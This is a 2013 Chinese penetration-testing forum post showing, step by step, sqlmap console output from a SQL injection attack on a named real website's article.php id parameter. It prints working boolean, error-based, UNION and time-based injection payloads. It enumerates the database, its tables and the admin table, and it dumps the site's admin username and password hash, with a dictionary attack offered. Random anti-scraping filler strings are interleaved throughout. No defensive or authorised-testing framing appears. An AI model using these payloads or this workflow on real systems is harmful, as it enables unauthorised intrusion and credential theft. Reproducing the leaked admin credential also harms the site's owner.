中国网络渗透测试联盟
标题:
sqlmap实例注入mysql
[打印本页]
作者:
admin
时间:
2013-4-4 22:18
标题:
sqlmap实例注入mysql
D:\Python27\sqlmap>sqlmap.py -u
http://www.wepost.com.hk/article.php?id=276
--db
5 `4 v x( A0 l
ms "Mysql" --current-user /* 注解:获取当前用户名称
* L: J1 q7 }7 Z, s& x
sqlmap/0.9 - automatic SQL injection and database takeover tool
% k' x0 c6 r6 \% L6 Q5 k2 P
http://sqlmap.sourceforge.net
starting at: 16:53:54
8 U# Q! Y% G$ p% e
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\
www.wepost.com.hk
\session' as
" F& R" h, F: o% t2 w
session file
$ u( J: [2 s1 V8 y: a
[16:53:54] [INFO] resuming injection data from session file
+ ^9 }- {. Q/ R8 a) g {( g" o
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
5 {7 V% s& m+ d5 w
[16:53:54] [INFO] testing connection to the target url
- e9 z) Z5 o# v+ c$ z
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
* r" J) N7 U$ f" f6 |3 I! f
sts:
! Z+ \. ]1 a1 c- @2 s, a" B
---
8 ^/ }9 z, A, i/ k: }* {7 L
Place: GET
1 ^7 |$ j b1 F) h( c8 x2 p' u
Parameter: id
$ R' N3 v, J9 A8 h# M- e. d
Type: boolean-based blind
) B( b0 l& D5 G" ~) l H7 `/ ~) F! P
Title: AND boolean-based blind - WHERE or HAVING clause
% k$ l5 L* W5 [7 i; f N4 U
Payload: id=276 AND 799=799
0 t/ D) W- |6 O! u# z
Type: error-based
8 E* A3 f- z" @) ^/ L- N
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ f, \2 Y- E( A/ i& m; m% \
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
; k' g1 e3 w2 _' Q
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
. S+ [% M8 B/ @3 n
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
. ?* x8 D0 o0 N! L! b
Type: UNION query
( H8 ^0 c' F2 n& A: q
Title: MySQL UNION query (NULL) - 1 to 10 columns
. Q/ o @& P. k* ]+ z; b
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
6 r' H) Q4 C6 b! U: O7 a. @
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
& k* w7 b3 \7 J; R* y: a
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
" v) w- M9 D9 ]; O/ s$ r- C
Type: AND/OR time-based blind
0 b% l& e, U+ R; }* f
Title: MySQL > 5.0.11 AND time-based blind
- \- \7 N7 i, z3 |9 U
Payload: id=276 AND SLEEP(5)
0 R( y# r( F F% `# w
---
+ l; f# M& t7 ?2 K5 I! P
[16:53:55] [INFO] the back-end DBMS is MySQL
; ` k4 G! w: k9 `
web server operating system: Windows
6 T0 D) c( n- n, S) m
web application technology: Apache 2.2.11, PHP 5.3.0
5 k, f. @! i+ {5 Y
back-end DBMS: MySQL 5.0
1 ~4 ]: q* D# [( I
[16:53:55] [INFO] fetching current user
7 e% B; k& `7 V) {* u
current user: 'root@localhost'
+ Q$ |4 v7 }- a$ l2 T) ~
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
& c, x j7 F, W: M. o `9 J' ^
tput\
www.wepost.com.hk
'
shutting down at: 16:53:58
- t2 C3 q% ?, M7 m6 E- I" S
5 _- d8 M: e ^& T& J
D:\Python27\sqlmap>sqlmap.py -u
http://www.wepost.com.hk/article.php?id=276
--db
4 X/ m- X$ k, m) U3 A
ms "Mysql" --current-db /*当前数据库
/ e U) G6 A) R+ ^
sqlmap/0.9 - automatic SQL injection and database takeover tool
5 L( f6 W3 @. R1 D
http://sqlmap.sourceforge.net
starting at: 16:54:16
/ U9 c& p6 [5 M7 |' I
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\
www.wepost.com.hk
\session' as
7 m5 Z5 y4 E8 R$ h9 g6 B. `
session file
: U( n. F: {% q; W
[16:54:16] [INFO] resuming injection data from session file
7 _9 W) {9 S% _8 }* J' {
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
0 L( w. {0 N% \4 H6 c
[16:54:16] [INFO] testing connection to the target url
0 M! l& {% j% b
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
_5 H0 r+ G: J8 e5 {1 J5 [+ x
sts:
" A5 M" w3 q6 k2 O+ i5 [
---
4 ^+ ?5 \. J2 M: P& } k+ X
Place: GET
# S& d; X# Y; I: `0 N
Parameter: id
1 o$ l0 M* r- j5 z& ~. k: W
Type: boolean-based blind
: E/ b" r; G* n2 @' Y: l# m
Title: AND boolean-based blind - WHERE or HAVING clause
4 Z- l# w8 Z0 s1 _, f6 j
Payload: id=276 AND 799=799
7 n/ I7 ?3 {: p1 l
Type: error-based
) r/ `) N# d, \
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
; U6 \* {; ]9 v' A3 @$ m2 y; b
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
& U& e4 |6 ~% m
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
6 X, G% d" `2 T1 { B% ^ _
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
) V; k$ a U( ~7 f& X
Type: UNION query
! }( S, t) a- r: ?- H
Title: MySQL UNION query (NULL) - 1 to 10 columns
( k& ^( \( ], f6 r0 B2 L% H0 F2 Y& k
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
2 P+ p: K. u- O& p3 a }
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
& y7 m b6 z+ v, H$ z3 M
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
/ H8 n9 n; U* T/ C, e
Type: AND/OR time-based blind
4 A. e0 @) K) }" |
Title: MySQL > 5.0.11 AND time-based blind
- I& `6 ^# M! j3 B- h6 Y) n. `8 D, G$ g
Payload: id=276 AND SLEEP(5)
y2 f/ X( p1 X# s) _5 S
---
: d G8 u3 C: H+ O& D. x, ~
[16:54:17] [INFO] the back-end DBMS is MySQL
8 q/ l0 o: m! o0 W, |4 v% m
web server operating system: Windows
+ g2 E! b( \3 `' y% ?0 ?8 T
web application technology: Apache 2.2.11, PHP 5.3.0
+ h& X# I/ h& B$ B) ?
back-end DBMS: MySQL 5.0
; r/ N4 E+ u1 [" W& ]9 u3 U% z* b
[16:54:17] [INFO] fetching current database
+ H1 Q- \2 n; ~) m) k# O$ V) Q! ^: \, Q
current database: 'wepost'
/ I! p& Q# }& C/ j4 K2 a6 e
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
, { Y1 y. i+ j" v, z% S
tput\
www.wepost.com.hk
'
shutting down at: 16:54:18
9 u2 L: v( Q: d M& `
D:\Python27\sqlmap>sqlmap.py -u
http://www.wepost.com.hk/article.php?id=276
--db
0 X3 J8 Z: v. |0 K4 H' F7 v2 P
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
, W+ y1 ]; Q0 E6 { ?- r+ u
sqlmap/0.9 - automatic SQL injection and database takeover tool
( |3 _7 l' z3 O
http://sqlmap.sourceforge.net
starting at: 16:55:25
4 B8 b& L8 T' s5 ?$ W! g& S
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\
www.wepost.com.hk
\session' as
3 B2 Y) u0 Z( w# B
session file
0 P# L }; C. N- z
[16:55:25] [INFO] resuming injection data from session file
" E4 _ {+ A; Z( \' y: |# J
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
. K# M' W* I2 C3 _% S
[16:55:25] [INFO] testing connection to the target url
# X6 M) g+ Z+ M: b
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
# ?1 R7 z( ?' d. c' a+ I
sts:
: ]1 h- A- M# Z
---
6 j3 r. q' w5 x! B% A# v
Place: GET
& ]) {) D: g9 m* K
Parameter: id
$ O9 |1 H: U9 p
Type: boolean-based blind
8 x& F1 X; _4 P5 N! f: c
Title: AND boolean-based blind - WHERE or HAVING clause
/ m( A8 C* I" K) h" e# X4 ?* x
Payload: id=276 AND 799=799
6 \$ G p5 Q, g, G4 U/ P/ i
Type: error-based
7 B6 ?- ?6 s: R# [. q
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
2 `" x1 j7 N# N; R5 J$ k. y) ?$ A
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
2 S/ d( Y1 P- J9 K- V4 f% j1 j5 v
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
2 h: y- L3 h+ Y, F
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
V% Z. r' t4 \1 z. |7 z9 C
Type: UNION query
- r( ?5 \& p" v6 x) {
Title: MySQL UNION query (NULL) - 1 to 10 columns
; q t$ E. V" r% n" R+ h. n
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
i: M* L# m% U. ]: J
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# F$ R+ S5 F# w; v3 [! n* L% W
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
* i# E q8 ~# ]& I" D1 Z
Type: AND/OR time-based blind
4 }% i* C% R- T5 D' b
Title: MySQL > 5.0.11 AND time-based blind
0 e! B! C6 w2 {0 e2 f
Payload: id=276 AND SLEEP(5)
' } ]7 l1 c4 a f& G
---
' x1 _; [# u" W% w0 e4 ?
[16:55:26] [INFO] the back-end DBMS is MySQL
" H" M% B F# I# R5 M ]: }3 M+ S3 d
web server operating system: Windows
) Q# L7 @9 Z$ Z, j
web application technology: Apache 2.2.11, PHP 5.3.0
8 V& ]: }) C4 H; l- W
back-end DBMS: MySQL 5.0
3 k( k7 Y9 }" [: _3 C
[16:55:26] [INFO] fetching tables for database 'wepost'
" _, L+ `" o: d: E* E
[16:55:27] [INFO] the SQL query used returns 6 entries
, W" c T3 `/ V2 O& q$ y
Database: wepost
5 P# E6 J+ ~3 X0 E' f3 D. t
[6 tables]
* H% d% M# U- a' `) y; G
+-------------+
$ Q. P! r O1 M0 @$ o, M% @
| admin |
3 u6 `4 ~9 L+ m& R" K
| article |
( \1 n. Z" x, q4 I
| contributor |
7 m/ r* R, G3 k* s5 L% c3 Y3 G7 L
| idea |
8 x* D2 a- _/ n
| image |
6 ~; ?1 y3 G; n6 `. S
| issue |
, b8 E% n( w: y$ _# s- E
+-------------+
/ a$ q/ X7 d9 L
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
% n V. N- w2 Y1 |0 ]2 ] g1 U; f
tput\
www.wepost.com.hk
'
shutting down at: 16:55:33
7 f1 n8 H" u! p+ C0 p/ n
. U0 h u+ B1 B$ n) L2 Y7 I
D:\Python27\sqlmap>sqlmap.py -u
http://www.wepost.com.hk/article.php?id=276
--db
0 j1 o9 z* w8 @8 w% Q
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
: s" ~% U# o& E& }, x5 V* i0 Y
sqlmap/0.9 - automatic SQL injection and database takeover tool
+ d4 Q8 p- E1 M. ~
http://sqlmap.sourceforge.net
starting at: 16:56:06
: @$ [: {) `+ O/ ^
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
a3 m# K7 n7 B1 [$ w
sts:
, k4 q& ]0 B; Y% ^
---
' z# p/ s4 F$ b( Q! f
Place: GET
3 W3 w8 m& @6 o/ J, B a' H
Parameter: id
- k/ f2 `% A7 c. w( J/ h$ g' p
Type: boolean-based blind
. v3 Q* }" b, @) B9 e- [4 j
Title: AND boolean-based blind - WHERE or HAVING clause
' n* ]) X' O' o1 l6 o0 C
Payload: id=276 AND 799=799
) E) m* B3 E3 C4 f# K8 o& e# v
Type: error-based
- S" {$ t- g" I
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
# H2 u' ?' E9 ^+ K( l+ @, x Q
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
& V! t; V6 w4 r( R; ?) M, r
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
2 F B/ K! e3 F: Z- ~- g
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
# t& b4 D$ R2 x9 A
Type: UNION query
2 K7 S8 \. F8 h; G1 {5 \, q
Title: MySQL UNION query (NULL) - 1 to 10 columns
4 ~2 v! C, X* R8 S
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
+ x* L/ ^% Y* ~0 r
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
8 s3 n* N' x# G
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
7 y3 R5 o7 J ]. x
Type: AND/OR time-based blind
9 x2 N5 t- [+ h. D) C' [
Title: MySQL > 5.0.11 AND time-based blind
) A4 O! E* v. S$ F1 ~
Payload: id=276 AND SLEEP(5)
6 u; l' K. o4 A7 b
---
4 S: \ C' _. x y; B8 b) y+ s, B, u N
web server operating system: Windows
$ W7 N' c5 O" H' `9 R
web application technology: Apache 2.2.11, PHP 5.3.0
( w1 d! A- d9 d
back-end DBMS: MySQL 5.0
6 \, w- v- v1 s. W+ F7 W
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\
www.wepost.com.hk
\se
' E% K5 I' `" m( e9 `/ A
ssion': wepost, wepost
% E5 j$ E$ L6 n: O4 e
Database: wepost
: z6 Q! e, b% t7 c3 D$ _- w/ `
Table: admin
0 C% r1 i4 ^3 H( W
[4 columns]
$ v/ p& |' z; u7 U2 F' p
+----------+-------------+
0 n8 ~3 F- m5 D- }! l. ^7 `
| Column | Type |
, q4 G* V4 l' L& x4 _1 y
+----------+-------------+
/ I3 T! i( z; V2 n4 s
| id | int(11) |
& \" _9 b2 c. s K
| password | varchar(32) |
' N9 [: g/ N/ p. X* E# a- [# J
| type | varchar(10) |
$ p; p* B4 |6 a$ o3 e3 k! d3 z1 f9 J
| userid | varchar(20) |
9 a3 s" W6 m4 s; c6 h2 E' p2 a
+----------+-------------+
8 g% Q# I" t" C7 N6 L$ W+ B
shutting down at: 16:56:19
! p/ [* X$ y0 C2 d2 [! F6 U7 n
& M% S2 A; y+ T' o j
D:\Python27\sqlmap>sqlmap.py -u
http://www.wepost.com.hk/article.php?id=276
--db
1 C7 [6 y) B4 r; N
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
9 h) Q$ R9 A0 q. K5 _- [+ r
sqlmap/0.9 - automatic SQL injection and database takeover tool
7 h6 T8 y: L+ p' O; U
http://sqlmap.sourceforge.net
starting at: 16:57:14
' f$ B& u5 n3 S; `$ X8 g
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
$ n5 u9 P; t. m/ m
sts:
6 O- o) U* s8 N' _# H7 D
---
0 E+ \9 w; Q$ {& v- v( ]
Place: GET
. u- l, i4 T: M% m8 b7 i
Parameter: id
' b8 q# ^2 _4 M K+ c, h
Type: boolean-based blind
7 C* _& R) |; [: r3 v: o
Title: AND boolean-based blind - WHERE or HAVING clause
5 Q# w' T+ ]8 C" Z7 c9 q' @
Payload: id=276 AND 799=799
" }8 r$ w( D: c6 S$ P' F
Type: error-based
# m. D" p/ N/ [" i6 N
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
' P6 u5 A. @" i( W9 {) |7 Y
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
: @) R7 @+ |2 Q. S) e1 a
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
9 _, {+ {# z9 f) S( q/ z6 @
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
; ^1 L2 n2 c4 j; i3 |& C: p
Type: UNION query
# g. V' F, b/ J' V
Title: MySQL UNION query (NULL) - 1 to 10 columns
, u2 \3 o& c- L4 z; N
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
6 F) l0 k( m0 Q: F5 S5 u
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
7 h/ B! m2 K& o! P; i8 |5 d
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
|. b9 c& o4 N4 x. ~8 q* P# E/ Z
Type: AND/OR time-based blind
* N& L9 U. T k( X
Title: MySQL > 5.0.11 AND time-based blind
' Q8 M4 s$ t& l d3 v) B
Payload: id=276 AND SLEEP(5)
2 B" M% C( o {; ^- I9 B8 c
---
7 C$ v' c0 J3 x2 D5 `, [
web server operating system: Windows
. D5 ]" V: u! C0 J: ^ }
web application technology: Apache 2.2.11, PHP 5.3.0
" A% k9 S6 ~# f/ \( h% y$ I0 q
back-end DBMS: MySQL 5.0
% a! {3 h0 L1 C/ ?. u# T
recognized possible password hash values. do you want to use dictionary attack o
) I% R4 p+ ]8 B
n retrieved table items? [Y/n/q] y
0 J7 F2 m# A5 O/ u3 c- z4 a
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
1 {5 h+ F5 w0 V" d
do you want to use common password suffixes? (slow!) [y/N] y
2 Q/ @) K3 x, t, B
Database: wepost
$ q+ k% i: H. z) I6 m. t4 s
Table: admin
) z, D4 D1 i$ L# C
[1 entry]
' \( E$ l# Q# r# X1 c" O# S" y3 j, ]
+----------------------------------+------------+
8 C0 ~4 [3 R2 D# E
| password | userid |
+ ?# {+ v: b' @( T' v3 ]
+----------------------------------+------------+
3 H' X/ b" {0 j3 X* S
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
4 n* s6 b; ^+ V0 q4 S9 D9 q; B
+----------------------------------+------------+
0 s% o7 E# L2 [" {5 P% _4 |
shutting down at: 16:58:14
6 Q" |) {/ K3 q/ k& {- O, T6 O
$ l$ c, y. L. ^- L8 |4 ^
D:\Python27\sqlmap>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2